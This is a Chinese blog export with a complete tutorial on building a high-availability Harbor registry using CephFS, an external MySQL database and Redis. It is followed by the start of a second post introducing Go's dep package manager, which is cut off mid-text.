这里用两台阿里云ECS作为harbor的工作节点：\nnode1: 10.47.217.91 node2: 10.28.61.30 两台主机运行的都是Ubuntu 16.04.1 LTS (GNU/Linux 4.4.0-58-generic x86_64)，使用root用户。\ndocker版本与docker-compose的版本如下：\n# docker version Client: Version: 1.12.5 API version: 1.24 Go version: go1.6.4 Git commit: 7392c3b Built: Fri Dec 16 02:42:17 2016 OS/Arch: linux/amd64 Server: Version: 1.12.5 API version: 1.24 Go version: go1.6.4 Git commit: 7392c3b Built: Fri Dec 16 02:42:17 2016 OS/Arch: linux/amd64 # docker-compose -v docker-compose version 1.12.0, build b31ff33 ceph版本如下：\n# ceph -v ceph version 10.2.7 ceph的安装和配置可参考这里。\n二、方案思路 首先，从部署上说，我们需要的Private Registry是独立于k8s cluster存在的，即在k8s cluster外部，其存储和管理的镜像供k8s cluster 组件以及运行于k8s cluster上的应用使用。\n其次，企业对registry有高可用需求，但我们也要有折中，我们的目标并不是理想的完全高可用，那样投入成本可能有些高。一般企业环境下更注重数据安全。因此首要保证harbor的数据安全，这样即便harbor实例宕掉，保证数据依然不会丢失即可。并且生产环境下registry的使用很难称得上高频，对镜像仓库的性能要求也没那么高。这种情况下，harbor的高可用至少有两种方案：\n多harbor实例共享后端存储 多harbor实例相互数据同步（通过配置两个harbor相互复制镜像数据） harbor原生支持双实例的镜像数据同步。不过这里我们采用第一种方案：即多harbor实例共享后端存储，因为我们有现成的cephfs供harbor使用。理想的方案示意图如下：\n每个安放harbor实例的node都mount cephfs； 每个node上的harbor实例（包含组件：ui、db、registry等）都volume mount node上的cephfs mount路径； 通过Load Balance将request流量负载到各个harbor实例上。 但这样做可行么？如果这么做，Harbor实例里的mysql container就会“抱怨”：\nMay 17 22:45:45 172.19.0.1 mysql[12110]: 2017-05-17 14:45:45 1 [ERROR] InnoDB: Unable to lock ./ibdata1, error: 11 May 17 22:45:45 172.19.0.1 mysql[12110]: 2017-05-17 14:45:45 1 [Note] InnoDB: Check that you do not already have another mysqld process using the same InnoDB data or log files. MySQL多个实例无法共享一份mysql数据文件。\n那么，我们会考虑将harbor连接的mysql放到外面来，使用external database；同时考虑到session共享，我们还需要增加一个存储session信息的redis cluster，这样一来，方案示意图变更如下：\n图中的mysql、redis你即可以用cluster，也可以用单点，还是看你的需求和投入。如果你具备现成的mysql cluster和redis cluster，那么直接用就好了。但是如果你没有，并且你还不想投入这么多(尤其是搞mysql cluster)，那么用单点就好了。考虑到数据安全，可以将单点mysql的数据存储在cephfs上，如果你已经有了现成的cephfs。\n三、在一个node上安装Harbor 1、初装步骤 以一个node上的Harbor安装为例，harbor提供了详细的安装步骤文档，我们按照步骤逐步进行即可(这里我使用的是1.1.0版本，截至目前为止的最新稳定版本为1.1.1版本)：\n~/harbor-install# wget -c https://github.com/vmware/harbor/releases/download/v1.1.0/harbor-offline-installer-v1.1.0.tgz ~/harbor-install# tar zxvf harbor-offline-installer-v1.1.0.tgz ~/harbor-install/harbor# ls -F common/ docker-compose.notary.yml docker-compose.yml harbor.cfg harbor.v1.1.0.tar.gz install.sh* LICENSE NOTICE prepare* ~/harbor-install/harbor./install.sh [Step 0]: checking installation environment ... Note: docker version: 1.12.5 Note: docker-compose version: 1.12.0 [Step 1]: loading Harbor images ... ... ... [Step 2]: preparing environment ... Generated and saved secret to file: /data/secretkey Generated configuration file: ./common/config/nginx/nginx.conf Generated configuration file: ./common/config/adminserver/env Generated configuration file: ./common/config/ui/env Generated configuration file: ./common/config/registry/config.yml Generated configuration file: ./common/config/db/env Generated configuration file: ./common/config/jobservice/env Generated configuration file: ./common/config/jobservice/app.conf Generated configuration file: ./common/config/ui/app.conf Generated certificate, key file: ./common/config/ui/private_key.pem, cert file: ./common/config/registry/root.crt The configuration files are ready, please use docker-compose to start the service. [Step 3]: checking existing instance of Harbor ... [Step 4]: starting Harbor ... Creating network \u0026quot;harbor_harbor\u0026quot; with the default driver Creating harbor-log Creating harbor-db Creating registry Creating harbor-adminserver Creating harbor-ui Creating nginx Creating harbor-jobservice ERROR: for proxy Cannot start service proxy: driver failed programming external connectivity on endpoint nginx (fdeb3e538d5f8d714ea5c79a9f3f127f05f7ba5d519e09c4c30ef81f40b2fe77): Error starting userland proxy: listen tcp 0.0.0.0:80: bind: address already in use harbor实例默认的监听端口是80，但一般node上的80口都会被占用，因此我们需要修改一个端口号。注意：此时harbor仅启动成功了一些container而已，尚无法正常工作。\n2、修改harbor proxy组件的listen端口 harbor的proxy组件就是一个nginx，通过nginx这个反向代理，将不同的服务请求分发到内部其他组件中去。nginx默认监听node的80端口，我们用8060端口替代80端口需要进行两处配置修改：\n1、harbor.cfg hostname = node_public_ip:8060 2、docker-compose.yml proxy: image: vmware/nginx:1.11.5-patched container_name: nginx restart: always volumes: - ./common/config/nginx:/etc/nginx:z networks: - harbor ports: - 8060:80 \u0026lt;--- 修改端口映射 - 443:443 - 4443:4443 由于我们修改了harbor.cfg文件，我们需要重新prepare一下，执行下面命令：\n# docker-compose down -v Stopping harbor-jobservice ... done Stopping nginx ... done Stopping harbor-ui ... done Stopping harbor-db ... done Stopping registry ... done Stopping harbor-adminserver ... done Stopping harbor-log ... done Removing harbor-jobservice ... done Removing nginx ... done Removing harbor-ui ... done Removing harbor-db ... done Removing registry ... done Removing harbor-adminserver ... done Removing harbor-log ... done Removing network harbor_harbor # ./prepare Clearing the configuration file: ./common/config/nginx/nginx.conf Clearing the configuration file: ./common/config/ui/env Clearing the configuration file: ./common/config/ui/app.conf Clearing the configuration file: ./common/config/ui/private_key.pem Clearing the configuration file: ./common/config/adminserver/env Clearing the configuration file: ./common/config/jobservice/env Clearing the configuration file: ./common/config/jobservice/app.conf Clearing the configuration file: ./common/config/db/env Clearing the configuration file: ./common/config/registry/config.yml Clearing the configuration file: ./common/config/registry/root.crt loaded secret from file: /mnt/cephfs/harbor/data/secretkey Generated configuration file: ./common/config/nginx/nginx.conf Generated configuration file: ./common/config/adminserver/env Generated configuration file: ./common/config/ui/env Generated configuration file: ./common/config/registry/config.yml Generated configuration file: ./common/config/db/env Generated configuration file: ./common/config/jobservice/env Generated configuration file: ./common/config/jobservice/app.conf Generated configuration file: ./common/config/ui/app.conf Generated certificate, key file: ./common/config/ui/private_key.pem, cert file: ./common/config/registry/root.crt The configuration files are ready, please use docker-compose to start the service. # docker-compose up -d Creating network \u0026quot;harbor_harbor\u0026quot; with the default driver Creating harbor-log Creating harbor-adminserver Creating registry Creating harbor-db Creating harbor-ui Creating harbor-jobservice Creating nginx 我们可以通过docker-compose ps命令查看harbor组件的状态：\n# docker-compose ps Name Command State Ports -------------------------------------------------------------------------------------------------------------------------------- harbor-adminserver /harbor/harbor_adminserver Up harbor-db docker-entrypoint.sh mysqld Up 3306/tcp harbor-jobservice /harbor/harbor_jobservice Up harbor-log /bin/sh -c crond \u0026amp;\u0026amp; rm -f ... Up 127.0.0.1:1514-\u0026gt;514/tcp harbor-ui /harbor/harbor_ui Up nginx nginx -g daemon off; Up 0.0.0.0:443-\u0026gt;443/tcp, 0.0.0.0:4443-\u0026gt;4443/tcp, 0.0.0.0:8060-\u0026gt;80/tcp registry /entrypoint.sh serve /etc/ ... Up 5000/tcp 如果安全组将8060端口打开，通过访问:http://node_public_ip:8060，你将看到如下harbor的web页面：\n我们可以通过harbor内置的默认用户名和密码admin/Harbor12345登录harbor ui。当然，我们更重要的是通过cmdline访问harbor，push和pull image。如果这时你直接尝试docker login harbor_url，你可能会得到如下错误日志：\n# docker login -u admin -p Harbor12345 node_public_ip:8060 Error response from daemon: Get https://node_public_ip:8060/v1/users/: http: server gave HTTP response to HTTPS client 这是因为docker默认采用https访问registry，因此我们需要在docker engine的配置中，添加–insecure-registry option。关于ubuntu 16.04下docker配置的问题，请参考这里：\nDOCKER_OPTS=\u0026quot;--dns 8.8.8.8 --dns 8.8.4.4 --registry-mirror=https://xxxxx.mirror.aliyuncs.com --insecure-registry=node_public_ip:8060\u0026quot; 重启docker engine后尝试再次登录harbor：\ndocker login -u admin -p Harbor12345 node_public_ip:8060 Login Succeeded 一旦docker client login ok，我们就可以通过docker client对harbor中的相关repository进行操作了。\n四、挂载路径修改 默认情况下，harbor将数据volume挂载到主机的/data路径下面。但由于我们采用ceph共享存储保证数据的高可用，需要修改harbor组件内容器的挂载路径，将其mount到共享存储挂载node上的路径：/mnt/cephfs/harbor/data/。对比两个路径，可以看出前缀由”/”变为了”/mnt/cephfs/harbor/”，我们需要修改docker-compose.yml和harbor.cfg两个文件。\n由于docker-compose.yml文件较长，这里将原始文件改名为docker-compose.yml.orig，并将其与修改后的docker-compose.yml做对比：\n# diff docker-compose.yml.orig docker-compose.yml 8c8 \u0026lt; - /var/log/harbor/:/var/log/docker/:z --- \u0026gt; - /mnt/cephfs/harbor/log/:/var/log/docker/:z 20c20 \u0026lt; - /data/registry:/storage:z --- \u0026gt; - /mnt/cephfs/harbor/data/registry:/storage:z 40c40 \u0026lt; - /data/database:/var/lib/mysql:z --- \u0026gt; - /mnt/cephfs/harbor/data/database:/var/lib/mysql:z 59,61c59,61 \u0026lt; - /data/config/:/etc/adminserver/config/:z \u0026lt; - /data/secretkey:/etc/adminserver/key:z \u0026lt; - /data/:/data/:z --- \u0026gt; - /mnt/cephfs/harbor/data/config/:/etc/adminserver/config/:z \u0026gt; - /mnt/cephfs/harbor/data/secretkey:/etc/adminserver/key:z \u0026gt; - /mnt/cephfs/harbor/data/:/data/:z 80,81c80,81 \u0026lt; - /data/secretkey:/etc/ui/key:z \u0026lt; - /data/ca_download/:/etc/ui/ca/:z --- \u0026gt; - /mnt/cephfs/harbor/data/secretkey:/etc/ui/key:z \u0026gt; - /mnt/cephfs/harbor/data/ca_download/:/etc/ui/ca/:z 100c100 \u0026lt; - /data/job_logs:/var/log/jobs:z --- \u0026gt; - /mnt/cephfs/harbor/data/job_logs:/var/log/jobs:z 102c102 \u0026lt; - /data/secretkey:/etc/jobservice/key:z --- \u0026gt; - /mnt/cephfs/harbor/data/secretkey:/etc/jobservice/key:z harbor.cfg文件需要修改的地方不多：\n// harbor.cfg #The path of cert and key files for nginx, they are applied only the protocol is set to https ssl_cert = /mnt/cephfs/harbor/data/cert/server.crt ssl_cert_key = /mnt/cephfs/harbor/data/cert/server.key #The path of secretkey storage secretkey_path = /mnt/cephfs/harbor/data 配置修改完毕后，执行如下命令：\n# docker-compose down -v # prepare # docker-compose up -d 新的harbor实例就启动起来了。注意：这一步我们用cephfs替换了本地存储，主要的存储变动针对log、database和registry三个输出数据的组件。你也许会感受到cephfs给harbor ui页面加载带来的影响，实感要比之前的加载慢一些。\n五、使用外部数据库(external database) 前面提到了挂载ceph后，多个node上harbor实例中的db组件将出现竞争问题，导致只有一个node上的harbor db组件可以工作。因此，我们要使用外部数据库(或db集群)来解决这个问题。但是harbor官方针对如何配置使用外部DB很是“讳莫如深”，我们只能自己探索。\n假设我们已经有了一个external database，并且建立了harbor这个user，并做了相应的授权。由于harbor习惯了独享database，在测试环境下可以考虑\nGRANT ALL ON *.* TO 'harbor'@'%'; 1、迁移数据 如果此时镜像库中已经有了数据，我们需要做一些迁移工作。\nattach到harbor db组件的container中，将registry这张表dump到registry.dump文件中：\n#docker exec -i -t 6e1e4b576315 bash 在db container中： # mysqldump -u root -p --databases registry \u0026gt; registry.dump 回到node，将dump文件从container中copy出来： #docker cp 6e1e4b576315:/root/registry.dump ./ 再mysql login到external Database，将registry.dump文件导入： # mysql -h external_db_ip -P 3306 -u harbor -p # mysql\u0026gt; source ./registry.dump; 2、修改harbor配置，使得ui、jobservice组件连接external db 根据当前harbor architecture图所示：\n与database“有染”的组件包括ui和jobservice，如何通过配置修改来让这两个组件放弃老db，访问新的external db呢？这要从挖掘配置开始。harbor的组件配置都在common/config下：\n~/harbor-install/harbor# tree -L 3 common common ├── config │ ├── adminserver │ │ └── env │ ├── db │ │ └── env │ ├── jobservice │ │ ├── app.conf │ │ └── env │ ├── nginx │ │ └── nginx.conf │ ├── registry │ │ ├── config.yml │ │ └── root.crt │ └── ui │ ├── app.conf │ ├── env │ └── private_key.pem └── templates ... ... 在修改config之前，我们先docker-compose down掉harbor。接下来，我们看到ui和jobservice下都有env文件，这里想必就是可以注入新db的相关访问信息的地方，我们来试试！\n// common/config/ui/env LOG_LEVEL=debug CONFIG_PATH=/etc/ui/app.conf UI_SECRET=$ui_secret JOBSERVICE_SECRET=$jobservice_secret GODEBUG=netdns=cgo MYSQL_HOST=new_db_ip MYSQL_PORT=3306 MYSQL_USR=harbor MYSQL_PWD=harbor_password // common/config/jobservice/env LOG_LEVEL=debug CONFIG_PATH=/etc/jobservice/app.conf UI_SECRET=$ui_secret JOBSERVICE_SECRET=$jobservice_secret GODEBUG=netdns=cgo MYSQL_HOST=new_db_ip MYSQL_PORT=3306 MYSQL_USR=harbor MYSQL_PWD=harbor_password 同时，由于不再需要harbor_db组件，因此切记：要将其从docker-compose.yml中剔除！。docker-compose up -d重新创建harbor各组件容器并启动！Harbor的日志可以在挂载的ceph路径： /mnt/cephfs/harbor/log下查找到：\n/mnt/cephfs/harbor/log# tree 2017-06-09 2017-06-09 ├── adminserver.log ├── anacron.log ├── CROND.log ├── jobservice.log ├── mysql.log ├── proxy.log ├── registry.log ├── run-parts.log └── ui.log 我们以ui.log为例，我们发现harbor启动后，ui.log输出如下错误日志(jobservice.log也是相同)：\nJun 9 11:00:17 172.19.0.1 ui[16039]: 2017-06-09T03:00:17Z [INFO] initializing database: type-MySQL host-mysql port-3306 user-root database-registry Jun 9 11:00:18 172.19.0.1 ui[16039]: 2017-06-09T03:00:18Z [ERROR] [utils.go:94]: failed to connect to tcp://mysql:3306, retry after 2 seconds :dial tcp: lookup mysql: no such host 我们明明注入了新的db env，为何ui还是要访问“tcp://mysql:3306”呢？我们docker inspect一下ui的container，看看env是否包含我们添加的那些：\n# docker inspect e91ab20e1dcb ... ... \u0026quot;Env\u0026quot;: [ \u0026quot;DATABASE_TYPE=mysql\u0026quot;, \u0026quot;MYSQL_HOST=database_ip\u0026quot;, \u0026quot;MYSQL_PORT=3306\u0026quot;, \u0026quot;MYSQL_PWD=harbor_password\u0026quot;, \u0026quot;MYSQL_USR=harbor\u0026quot;, \u0026quot;MYSQL_DATABASE=registry\u0026quot;, ], .... ... env已经注入，那么为何ui、jobservice无法连接到external database呢？要想搞清楚这点，我们只能去_“啃代码”_了。还好harbor代码并非很难啃。我们发现基于beego实现的ui、jobservice两个组件并未直接通过os.Getenv去获取这些env变量，而是调用了adminserver组件的服务。adminserver在初始化时，在RESET环境变量为true的情况下，读取了common/config/adminserver/env下的所有环境变量。\n搞清楚原理后，我们知道了要修改的是common/config/adminserver/env，而不是common/config/ui/env和common/config/jobservice/env。我们将后两个文件还原。修改common/config/adminserver/env文件：\n//common/config/adminserver/env ... ... MYSQL_HOST=new_db_ip MYSQL_PORT=3306 MYSQL_USR=harbor MYSQL_PWD=harbor_password ... ... RESET=true \u0026lt;--- 改为true，非常关键 重新up harbor服务后，我们发现ui, jobservice与新database的连接成功了！打开harbor web页面，登录进去，我们看到了之前已经添加的用户、项目和镜像文件。\n3、一劳永逸 如果你重新执行prepare，那么上面对config目录下的配置修改将被重新覆盖。如果要一劳永逸，那么需要修改的是common/templates下面的同位置同名配置文件。\n六、安装其他节点上的harbor实例 前面，我们只搭建了一个节点，为的是验证方案的可行性。要实现高可用，我们还需要在其他节点上安装harbor实例。由于多个节点上harbor实例共同挂载ceph的同一目录，因此考虑到log的分离，在部署其他节点上的harbor时，最好对docker-compose.yml下log组件的volumes映射路径进行调整，以在多个节点间做隔离，便于日志查看，比如：\nvolumes: - /mnt/cephfs/harbor/log1/:/var/log/docker/:z 除此之外，各个节点上的harbor配置与上述配置完全一致。\n七、共享session设置 到harbor的请求被负载均衡分发到多个node上的harbor实例上，这样就有了session共享的需求。Harbor对此已经给予了支持。在ui组件的代码中，我们发现ui在初始化时使用Getenv获取”_REDIS_URL”这个环境变量的值，因此我们只需要将_REDIS_URL这个环境变量配置到各个节点harbor ui组件的env文件中即可：\n// common/config/adminserver/env LOG_LEVEL=debug CONFIG_PATH=/etc/ui/app.conf UI_SECRET=LuAwkKUtYjF4l0mQ JOBSERVICE_SECRET=SmsO1kVo4SrmgOIp GODEBUG=netdns=cgo _REDIS_URL=redis_ip:6379,100,redis_password,0 重新up harbor后，session共享生效。\n不过光有一个外部redis存储共享session还不够，请求在多个harbor实例中的registry组件中进行鉴权需要harbor各个实例share相同的key和certificate。好在，我们的多harbor实例通过ceph共享存储，key和cert本就是共享的，都存放在目录：/mnt/cephfs/harbor/data/cert/的下边，因此也就不需要在各个harbor实例间同步key和cert了。\n八、更换为域名访问 我们有通过域名访问docker registry的需求，那么直接通过域名访问harbor ui和registry是否可行呢？这要看harbor nginx的配置:\n# docker ps |grep nginx fa92765e8871 vmware/nginx:1.11.5-patched \u0026quot;nginx -g 'daemon off\u0026quot; 3 hours ago Up 3 hours 0.0.0.0:443-\u0026gt;443/tcp, 0.0.0.0:4443-\u0026gt;4443/tcp, 0.0.0.0:8060-\u0026gt;80/tcp nginx # docker exec fa92765e8871 cat /etc/nginx/nginx.conf ... ... http { server { listen 80; ... ... } nginx在http server block并未对域名或ip进行匹配，因此直接将域名A地址设置为反向代理的地址或直接解析为Harbor暴露的公网ip地址都是可以正常访问harbor服务的，当然也包括image push和pull服务。\n注意：如果使用域名访问harbor服务，那么就将harbor.cfg中的hostname赋值为你的”域名+端口”，并重新prepare。否则你可能会发现通过harbor域名上传的image无法pull，因为其pull的地址为由ip组成的地址，以docker push hub.tonybai.com:8989/myrepo/foo:latest为例，push成功后，docker pull hub.tonybai.com:8989/myrepo/foo:latest可能提示你找不到该image，因为harbor中该imag\ne的地址可能是my_ip_address:8989/myrepo/foo:latest。\n九、统一registry的证书和token service的私钥 这是在本篇文章发表之后发现的问题，针对该问题，我专门写了一篇文章：《解决登录Harbor Registry时鉴权失败的问题》,请移步这篇文章，完成HA Harbor的搭建。\n十、参考资料 Installation \u0026amp; Configuration Guide 用Harbor实现容器镜像仓库的管理和运维 微博：@tonybai_cn\n微信公众号：iamtonybai\ngithub.com: https://github.com/bigwhite\n","permalink":"https://tonybai.com/2017/06/09/setup-a-high-availability-private-registry-based-on-harbor-and-cephfs/","summary":"\u003cp\u003e我们有给客户搭建私有容器仓库的需求。开源的私有容器registry可供选择的不多，除了docker官方的\u003ca href=\"https://github.com/docker/distribution\"\u003edistribution\u003c/a\u003e之外，比较知名的是VMware China出品的\u003ca href=\"https://github.com/vmware/harbor\"\u003eHarbor\u003c/a\u003e，我们选择了harbor。\u003c/p\u003e\n\u003cp\u003eharbor在\u003ca href=\"https://github.com/docker/distribution\"\u003edocker distribution\u003c/a\u003e的基础上增加了一些安全、访问控制、管理的功能以满足企业对于镜像仓库的需求。harbor以\u003ca href=\"https://github.com/docker/compose\"\u003edocker-compose\u003c/a\u003e的规范形式组织各个组件，并通过docker-compose工具进行启停。\u003c/p\u003e","title":"基于Harbor和CephFS搭建高可用Private Registry"},{"content":"Go语言程序组织和构建的基本单元是Package，但Go语言官方却没有提供一款“像样的”Package Management Tool(包管理工具)。随着Go语言在全球范围内应用的愈加广泛，缺少官方包管理工具这一问题变得日益突出。\n2016年GopherCon大会后，在Go官方的组织下，一个旨在改善Go包管理的commitee成立了，共同应对Go在package management上遇到的各种问题。经过各种脑洞和讨论后，该commitee在若干月后发布了“Package Management Proposal”，并启动了最有可能被接纳为官方包管理工具的项目dep的设计和开发。2017年年初，dep项目正式对外开放。截至目前，dep发布了v0.1.0版本，并处于alpha测试阶段。\n可以说，dep的进展还是蛮快的。按照dep官方说法，dep目前的manifest和lock文件格式已经stable，并保证向后兼容。同时，dep实现了“自举”，即dep使用自己作为自己的包管理工具。由于dep的“特殊身份”，虽然dep离成熟尚远，但dep的进展也吸引了诸多gopher的目光，很多组织已经开始将package management tool迁移为dep，为dep进行早期测试。\n这里，我也打算“尝尝鲜”，在本篇文章中和大家一起窥探和试用一下dep。\n一、Go包管理的演进历史 1、go get 在管窥dep之前，我们先来简单看看Go语言包管理的演进历史。首当其冲的就是go get。\nGo语言新手在初次接触Go语言时会感觉到Go语言的package获取真的是很方便：只需一行go get xxx，github.com上的大量go package就可以随你取用。 但随着对Go语言使用的深入，人们会发现go get给我们带来方便的同时，也带来了不少的麻烦。go get本质上是git、hg等这些vcs工具的高级wrapper。对于使用git的go package来说，go get的实质就是将package git clone到本地的特定目录下（$GOPATH/src），同时go get可以自动解析包的依赖，并自动下载相关依赖包。\ngo get机制的设计很大程度上源于Google公司内部的单一root的代码仓库的开发模式，并且似乎google内部各个project/repository的master分支上的代码都是被认为stable的，因此go get仅仅支持获取master branch上的latest代码，没有指定version、branch或revision的能力。而在Google公司以外的世界里，这样的做法会给gopher带来不便：依赖的第三方包总是在变。一旦第三方包提交了无法正常build或接口不兼容的代码，依赖方立即就会受到影响。\n而gopher们又恰恰希望自己项目所依赖的第三方包能受到自己的控制，而不是随意变化。这样，godep、gb、glide等一批第三方包管理工具出现了。\n以应用最为广泛的godep为例。为了能让第三方依赖包“稳定下来”，实现项目的reproduceble build，godep将项目当前依赖包的版本信息记录在Godeps/Godeps.json中，并将依赖包的相关版本存放在Godeps/_workspace中。在编译时(godep go build)godep通过临时修改GOPATH环境变量的方法让go编译器使用缓存在Godeps/_workspace下的项目依赖的特定版本的第三方包，这样保证了项目不再受制于依赖的第三方包的master branch上的latest代码的变动了。\n不过，godep的“版本管理”本质上是通过缓存第三方库的某个revision的快照实现的，这种方式依然让人感觉难于管理。同时，通过对GOPATH的“偷梁换柱”的方式实现使用Godeps/_workspace中的第三方库的快照进行编译也无法兼容Go原生编译器，必须使用godep go xxx来进行。\n为此，Go进一步引入vendor机制来_减少gopher在包管理问题上的心智负担_。\n2、vendor机制 Go team也一直在关注Go语言包依赖的问题，尤其是在Go 1.5实现自举的情况下，官方同样在1.5版本中推出了vendor机制。vendor机制是Russ Cox在Go 1.5发布前期以一个experiment feature身份紧急加入到go中的(go 1.6脱离experiment身份)。vendor标准化了项目依赖的第三方库的存放位置（不再需要Godeps/_workspace了），同时也无需对GOPATH环境变量进行“偷梁换柱”了，go compiler原生优先感知和使用vendor下缓存的第三方包。\n不过即便有了vendor的支持，vendor内第三方依赖包的代码的管理依旧是不规范的，要么是手动的，要么是借助godep这样的第三方包管理工具。目前自举后的Go代码本身也引入了vendor，不过go项目自身对vendor中代码的管理方式也是手动更新，Go自身并未使用任何第三方的包管理工具。\n题外话：作为一门语言的标准库，应该是使用这门语言的开发者所使用的所有lib依赖的根依赖。但在go中，go标准库居然还要依赖golang.org/x/目录下的包，既然能被std lib依赖，那么说明其已经成熟，那为何不把x内的stable的库挪到std lib中呢？这点着实让人有些不解。\n~/.bin/go18/src/vendor/golang_org/x]$ls crypto/ net/ text/ 从Go官方角度出发，官方go包依赖的解决方案的下一步就应该是解决对vendor下的第三方包如何进行管理的问题：依赖包的分析、记录和获取等，进而实现项目的reproducible build。dep就是用来做这事儿的。\n二、dep简介 go package management commitee的牵头人物是微服务框架go-kit作者Peter Bourgon，但当前主导dep开发的是sam boyer，sam也是dep底层包依赖分析引擎-gps的作者。\n和其他一些第三方Go包管理工具有所不同，dep在进行active dev前是经过commitee深思熟虑的，包括：features、user story等都在事前做了初步设计。如果你拜读这些文档，你可能会觉得解决包依赖问题，还是蛮复杂的。不过，对于这些工具的使用者来说，我们面对的是一些十分简化的交互接口。\n1、安装dep dep是标准的go cli程序，执行一条命令即完成安装：\n# go get -u github.com/golang/dep/cmd/dep # dep help dep is a tool for managing dependencies for Go projects Usage: dep \u0026lt;command\u0026gt; Commands: init Initialize a new project with manifest and lock files status Report the status of the project's dependencies ensure Ensure a dependency is safely vendored in the project prune Prune the vendor tree of unused packages Examples: dep init set up a new project dep ensure install the project's dependencies dep ensure -update update the locked versions of all dependencies dep ensure github.com/pkg/errors add a dependency to the project Use \u0026quot;dep help [command]\u0026quot; for more information about a command. 在我的测试环境中，go的版本为1.8；dep的版本为commit d31c621c3381b9bebc7c10b1ac7849a96c21f2c3。\n注意：由于dep还在active dev过程中且处于alpha测试阶段，因此本文中执行的dep命令、命令行为以及输出结果在后续dep版本中很可能会有变动，甚至是很大变动。\n2、dep一般工作流 安装好dep后，我们就来看看使用dep的一般工作流。我们首先准备一个demo程序：\n//depdemo/main.go package main import ( \u0026quot;net/http\u0026quot; \u0026quot;go.uber.org/zap\u0026quot; \u0026quot;github.com/beego/mux\u0026quot; ) func main() { logger, _ := zap.NewProduction() defer logger.Sync() sugar := logger.Sugar() mx := mux.New() mx.Handler(\u0026quot;GET\u0026quot;, \u0026quot;/\u0026quot;, http.FileServer(http.Dir(\u0026quot;.\u0026quot;))) sugar.Fatal(http.ListenAndServe(\u0026quot;127.0.0.1:8080\u0026quot;, mx)) } a) dep init 如果一个项目要使用dep进行包管理，那么首先需要在这个项目的根下执行dep init。在这里，我们对depdemo进行dep改造。\n在depdemo目录下，执行dep init：\n# dep init -v Searching GOPATH for projects... Using master as constraint for direct dep github.com/beego/mux Locking in master (626af65) for direct dep github.com/beego/mux Following dependencies were not found in GOPATH. Dep will use the most recent versions of these projects. go.uber.org/zap Root project is \u0026quot;github.com/bigwhite/experiments/depdemo\u0026quot; 1 transitively valid internal packages 2 external packages imported from 2 projects (0) ✓ select (root) (1) ? attempt github.com/beego/mux with 1 pkgs; at least 1 versions to try (1) try github.com/beego/mux@master (1) ✓ select github.com/beego/mux@master w/1 pkgs (2) ? attempt go.uber.org/zap with 1 pkgs; 12 versions to try (2) try go.uber.org/zap@v1.4.0 (2) ✓ select go.uber.org/zap@v1.4.0 w/7 pkgs (3) ? attempt go.uber.org/atomic with 1 pkgs; 6 versions to try (3) try go.uber.org/atomic@v1.2.0 (3) ✓ select go.uber.org/atomic@v1.2.0 w/1 pkgs ✓ found solution with 9 packages from 3 projects Solver wall times by segment: b-source-exists: 1.090607387s b-deduce-proj-root: 288.126482ms b-list-pkgs: 131.059753ms b-gmal: 114.716587ms select-atom: 337.787µs satisfy: 298.743µs select-root: 292.889µs new-atom: 257.256µs b-list-versions: 42.408µs other: 22.307µs TOTAL: 1.625761599s 当前阶段，dep init命令的执行效率的确不高，因此需要你耐心的等待一会儿。如果你的project依赖的外部包很多，那么等待的时间可能会很长。并且由于dep会下载依赖包，对于国内的朋友来说，一旦下载qiang外的包，那么dep可能会“阻塞”在那里！\ndep init大致会做这么几件事：\n利用gps分析当前代码包中的包依赖关系； 将分析出的项目包的直接依赖(即main.go显式import的第三方包，direct dependency)约束(constraint)写入项目根目录下的Gopkg.toml文件中； 将项目依赖的所有第三方包（包括直接依赖和传递依赖transitive dependency）在满足Gopkg.toml中约束范围内的最新version/branch/revision信息写入Gopkg.lock文件中； 创建root vendor目录，并且以Gopkg.lock为输入，将其中的包（精确checkout 到revision）下载到项目root vendor下面。 执行完dep init后，dep会在当前目录下生成若干文件：\n├── Gopkg.lock ├── Gopkg.toml ├── main.go └── vendor/ 我们逐一来看一下：\nGopkg.toml：\n[[constraint]] branch = \u0026quot;master\u0026quot; name = \u0026quot;github.com/beego/mux\u0026quot; [[constraint]] name = \u0026quot;go.uber.org/zap\u0026quot; version = \u0026quot;1.4.0\u0026quot; Gopkg.toml记录了depdemo/main.go的两个direct dependency：mux和zap。通过gps的分析（可以参见上面init执行时输出的详细分析过程日志），dep确定的依赖版本约束为：mux的master分支、zap的1.4.0 version。\n生成的Gopkg.lock中则记录了depdemo/main.go在上述约束下的所有依赖的可用的最新版本：\nGopkg.lock: [[projects]] branch = \u0026quot;master\u0026quot; name = \u0026quot;github.com/beego/mux\u0026quot; packages = [\u0026quot;.\u0026quot;] revision = \u0026quot;626af652714cc0092f492644e298e5f3ac7db31a\u0026quot; [[projects]] name = \u0026quot;go.uber.org/atomic\u0026quot; packages = [\u0026quot;.\u0026quot;] revision = \u0026quot;4e336646b2ef9fc6e47be8e21594178f98e5ebcf\u0026quot; version = \u0026quot;v1.2.0\u0026quot; [[projects]] name = \u0026quot;go.uber.org/zap\u0026quot; packages = [\u0026quot;.\u0026quot;,\u0026quot;buffer\u0026quot;,\u0026quot;internal/bufferpool\u0026quot;,\u0026quot;internal/color\u0026quot;,\u0026quot;internal/exit\u0026quot;,\u0026quot;internal/multierror\u0026quot;,\u0026quot;zapcore\u0026quot;] revision = \u0026quot;fab453050a7a08c35f31fc5fff6f2dbd962285ab\u0026quot; version = \u0026quot;v1.4.0\u0026quot; [solve-meta] analyzer-name = \u0026quot;dep\u0026quot; analyzer-version = 1 inputs-digest = \u0026quot;77d32776fdc88e1025460023bef70534c5457bdc89b817c9bab2b2cf7cccb22f\u0026quot; solver-name = \u0026quot;gps-cdcl\u0026quot; solver-version = 1 vendor目录下，则是lock文件中各个依赖包的本地clone：\n# tree -L 2 vendor vendor ├── github.com │ └── beego └── go.uber.org ├── atomic └── zap 至此，dep init完毕，相关依赖包也已经被vendor，你可以使用go build/install进行程序构建了。\nb)、提交Gopkg.toml和Gopkg.lock 如果你对dep自动分析出来的各种约束和依赖的版本没有异议，那么这里就可以将Gopkg.toml和Gopkg.lock作为项目源码的一部分提交到代码库中了。这样其他人在下载了你的代码后，可以通过dep直接下载lock文件中的第三方包版本，并存在vendor里。这样就使得无论在何处，项目构建的依赖库理论上都是一致的，实现reproduceable build。\n是否需要提交vendor下的依赖包代码到代码仓库？这取决于你。提交vendor的好处是即便没有dep，也可以实现真正的reproduceable build。但vendor的提交会让你的代码库变得异常庞大，且更新vendor时，大量的diff会影响到你对代码的review。下面的内容我们以不提交vendor为前提。\nc)、dep ensure 现在我们的depdemo已经加入了Gopkg.toml和Gopkg.lock。这时，如果你将depdemo clone到你的本地，你还无法进行reproduceable 